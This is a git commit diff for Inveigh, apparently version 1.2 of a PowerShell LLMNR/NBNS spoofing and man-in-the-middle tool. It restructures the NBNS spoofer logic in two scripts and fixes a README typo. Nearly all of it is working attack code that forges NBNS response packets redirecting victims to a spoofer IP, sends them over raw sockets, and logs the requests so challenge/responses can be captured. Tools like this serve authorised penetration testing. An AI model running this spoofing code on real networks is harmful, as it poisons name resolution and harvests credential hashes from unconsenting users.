Final 1.2 checks

3 files changed, 152 insertions, 156 deletions

diff --git a/README.md b/README.md
index 752bbd7..84f4a96 100644
--- a/README.md
+++ b/README.md
@@ -82,7 +82,7 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool design
 * __SpooferIPsIgnore__ - Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.  
 * __SpooferLearning__ - Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the hostname to a spoofing blacklist. The valid system must respond to the protocol type that matches the protocol of the original request in order to be blacklisted.  
 * __SpooferLearningDelay__ - (Interger) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.  
-* __SpooferLearningInterval__ - Default = 30 Minutes: (Interger) Time in minutes that Inveigh wait before sending out a LLMNR/NBNS request for a hostname that has already been checked if SpooferLearning is enabled.  
+* __SpooferLearningInterval__ - Default = 30 Minutes: (Interger) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a hostname that has already been checked if SpooferLearning is enabled.  
 * __SpooferRepeat__ - Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.  
 * __LLMNR__ - Default = Enabled: (Y/N) Enable/Disable LLMNR spoofer.  
 * __LLMNRTTL__ - Default = 30 Seconds: LLMNR TTL in seconds for the response packet.  
diff --git a/Scripts/Inveigh-Unprivileged.ps1 b/Scripts/Inveigh-Unprivileged.ps1
index 25e84f4..b4c0c25 100644
--- a/Scripts/Inveigh-Unprivileged.ps1
+++ b/Scripts/Inveigh-Unprivileged.ps1
@@ -1269,7 +1269,7 @@ $LLMNR_spoofer_scriptblock =
                                 
             }
         
-            if($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0')                   
+            if($LLMNR_request_data)                   
             {
                 $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")
                 $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")])
@@ -1294,92 +1294,92 @@ $NBNS_spoofer_scriptblock =
     while($inveigh.unprivileged_running)
     {
         $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) # need to switch to async
-        $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
-        [Array]::Reverse($NBNS_TTL_bytes)
-
-        $NBNS_response_packet = $NBNS_request_data[0,1] +
-                                0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 +
-                                $NBNS_request_data[13..$NBNS_request_data.Length] +
-                                $NBNS_TTL_bytes +
-                                0x00,0x06,0x00,0x00 +
-                                ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
-                                0x00,0x00,0x00,0x00
-
-        $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString
-        $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44])
-                    
-        switch ($NBNS_query_type)
-        {
 
-            '41-41'
+        if([System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01')
+        {
+            $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
+            [Array]::Reverse($NBNS_TTL_bytes)
+
+            $NBNS_response_packet = $NBNS_request_data[0,1] +
+                                    0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 +
+                                    $NBNS_request_data[13..$NBNS_request_data.Length] +
+                                    $NBNS_TTL_bytes +
+                                    0x00,0x06,0x00,0x00 +
+                                    ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
+                                    0x00,0x00,0x00,0x00
+
+            $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString
+            $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44])
+                    
+            switch ($NBNS_query_type)
             {
-                $NBNS_query_type = "00"
-            }
 
-            '41-44'
-            {
-                $NBNS_query_type = "03"
-            }
+                '41-41'
+                {
+                    $NBNS_query_type = "00"
+                }
 
-            '43-41'
-            {
-                $NBNS_query_type = "20"
-            }
+                '41-44'
+                {
+                    $NBNS_query_type = "03"
+                }
 
-            '42-4C'
-            {
-                $NBNS_query_type = "1B"
-            }
+                '43-41'
+                {
+                    $NBNS_query_type = "20"
+                }
 
-            '42-4D'
-            {
-                $NBNS_query_type = "1C"
-            }
+                '42-4C'
+                {
+                    $NBNS_query_type = "1B"
+                }
 
-            '42-4E'
-            {
-                $NBNS_query_type = "1D"
-            }
+                '42-4D'
+                {
+                    $NBNS_query_type = "1C"
+                }
 
-            '42-4F'
-            {
-                $NBNS_query_type = "1E"
-            }
+                '42-4E'
+                {
+                    $NBNS_query_type = "1D"
+                }
 
-        }
+                '42-4F'
+                {
+                    $NBNS_query_type = "1E"
+                }
 
-        $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)])
-        $NBNS_query = $NBNS_query -replace "-00",""
-        $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-        $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
-        $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
-        $NBNS_query_string_subtracted = ""
-        $NBNS_query_string = ""
-        $n = 0
+            }
+
+            $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)])
+            $NBNS_query = $NBNS_query -replace "-00",""
+            $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+            $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
+            $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
+            $NBNS_query_string_subtracted = ""
+            $NBNS_query_string = ""
+            $n = 0
                             
-        do
-        {
-            $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65)
-            $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
-            $n += 1
-        }
-        until($n -gt ($NBNS_query_string_encoded.Length - 1))
+            do
+            {
+                $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65)
+                $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
+                $n += 1
+            }
+            until($n -gt ($NBNS_query_string_encoded.Length - 1))
                     
-        $n = 0
+            $n = 0
                     
-        do
-        {
-            $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
-            $n += 2
-        }
-        until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
-
-        if($NBNSTypes -contains $NBNS_query_type)
-        {
+            do
+            {
+                $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
+                $n += 2
+            }
+            until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
                                  
             if (($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (
             !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and (
-            $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP))
+            $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type))
             {
                 $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137)
                 $NBNS_UDP_client.Connect($NBNS_destination_endpoint)
@@ -1392,7 +1392,11 @@ $NBNS_spoofer_scriptblock =
             else
             {
 
-                if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string)
+                if($NBNSTypes -notcontains $NBNS_query_type)
+                {
+                    $NBNS_response_message = "- disabled NBNS type"
+                }
+                elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string)
                 {
                     $NBNS_response_message = "- $NBNS_query_string is not on reply list"
                 }
@@ -1419,19 +1423,15 @@ $NBNS_spoofer_scriptblock =
                                     
             }
 
-        }
-        else
-        {
-            $NBNS_response_message = "- disabled NBNS type"
-        }
-        
-        if($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255')                   
-        {
-             $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")
-             $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")])
+            if($NBNS_request_data)                   
+            {
+                 $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")
+                 $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")])
+            }
+
+            $NBNS_request_data = ""
         }
 
-        $NBNS_request_data = ""
     }
 
     $NBNS_UDP_client.Close()
diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1
index 66dfa73..8c7437f 100644
--- a/Scripts/Inveigh.ps1
+++ b/Scripts/Inveigh.ps1
@@ -45,7 +45,7 @@ hostname to a spoofing blacklist.
 SpooferLearning.
 
 .PARAMETER SpooferLearningInterval
-Default = 30 Minutes: (Interger) Time in minutes that Inveigh wait before sending out a LLMNR/NBNS request for a
+Default = 30 Minutes: (Interger) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a
 hostname that has already been checked if SpooferLearning is enabled.   
 
 .PARAMETER SpooferRepeat
@@ -1499,7 +1499,7 @@ $sniffer_scriptblock =
                     137 # NBNS
                     {
                      
-                        if([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01')
+                        if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01')
                         {
                             $UDP_length[0] += 12
                         
@@ -1635,85 +1635,81 @@ $sniffer_scriptblock =
                                     }
 
                                 }
-
-                                if($NBNSTypes -contains $NBNS_query_type)
-                                {
                                  
-                                    if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (
-                                    !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (
-                                    !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and (
-                                    $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP))
-                                    {
+                                if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (
+                                !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (
+                                !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and (
+                                $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and (
+                                $NBNSTypes -contains $NBNS_query_type))
+                                {
 
-                                        if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
-                                        {
-                                            $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
-                                            $NBNS_send_socket.SendBufferSize = 1024
-                                            $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port)
-                                            $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point)
-                                            $NBNS_send_socket.Close()
-                                            $NBNS_response_message = "- response sent"
-                                        }
-                                        else
-                                        {
-                                            $NBNS_request_ignore = $true
-                                        }
-                                    
+                                    if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
+                                    {
+                                        $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
+                                        $NBNS_send_socket.SendBufferSize = 1024
+                                        $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port)
+                                        $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point)
+                                        $NBNS_send_socket.Close()
+                                        $NBNS_response_message = "- response sent"
                                     }
                                     else
                                     {
-
-                                        if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
-                                        {
-                                            $NBNS_request_ignore = $true
-                                        }
-                                        elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string)
-                                        {
-                                            $NBNS_response_message = "- $NBNS_query_string is not on reply list"
-                                        }
-                                        elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string)
-                                        {
-                                            $NBNS_response_message = "- $NBNS_query_string is on ignore list"
-                                        }
-                                        elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP)
-                                        {
-                                            $NBNS_response_message = "- $source_IP is not on reply list"
-                                        }
-                                        elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP)
-                                        {
-                                            $NBNS_response_message = "- $source_IP is on ignore list"
-                                        }
-                                        elseif($NBNS_query_string.Trim() -eq '*')
-                                        {
-                                            $NBNS_response_message = "- NBSTAT request"
-                                        }
-                                        elseif($inveigh.valid_host_list -contains $NBNS_query_string)
-                                        {
-                                            $NBNS_response_message = "- $NBNS_query_string is a valid host"
-                                        }
-                                        elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString)
-                                        {
-                                            $NBNS_response_message = "- previous capture from $source_IP"
-                                        }
-                                        elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay)
-                                        {
-                                            $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts"
-                                        }
-                                        elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
-                                        {
-                                            $NBNS_response_message = "- request is local"
-                                        }
-                                        else
-                                        {
-                                            $NBNS_response_message = "- something went wrong"
-                                        }
-                                    
+                                        $NBNS_request_ignore = $true
                                     }
-
+                                    
                                 }
                                 else
                                 {
-                                    $NBNS_response_message = "- disabled NBNS type"
+
+                                    if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
+                                    {
+                                        $NBNS_request_ignore = $true
+                                    }
+                                    elseif($NBNSTypes -notcontains $NBNS_query_type)
+                                    {
+                                        $NBNS_response_message = "- disabled NBNS type"
+                                    }
+                                    elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string)
+                                    {
+                                        $NBNS_response_message = "- $NBNS_query_string is not on reply list"
+                                    }
+                                    elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string)
+                                    {
+                                        $NBNS_response_message = "- $NBNS_query_string is on ignore list"
+                                    }
+                                    elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP)
+                                    {
+                                        $NBNS_response_message = "- $source_IP is not on reply list"
+                                    }
+                                    elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP)
+                                    {
+                                        $NBNS_response_message = "- $source_IP is on ignore list"
+                                    }
+                                    elseif($NBNS_query_string.Trim() -eq '*')
+                                    {
+                                        $NBNS_response_message = "- NBSTAT request"
+                                    }
+                                    elseif($inveigh.valid_host_list -contains $NBNS_query_string)
+                                    {
+                                        $NBNS_response_message = "- $NBNS_query_string is a valid host"
+                                    }
+                                    elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString)
+                                    {
+                                        $NBNS_response_message = "- previous capture from $source_IP"
+                                    }
+                                    elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay)
+                                    {
+                                        $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts"
+                                    }
+                                    elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
+                                    {
+                                        $NBNS_response_message = "- request is local"
+                                    }
+                                    else
+                                    {
+                                        $NBNS_response_message = "- something went wrong"
+                                    }
+
                                 }
 
                             }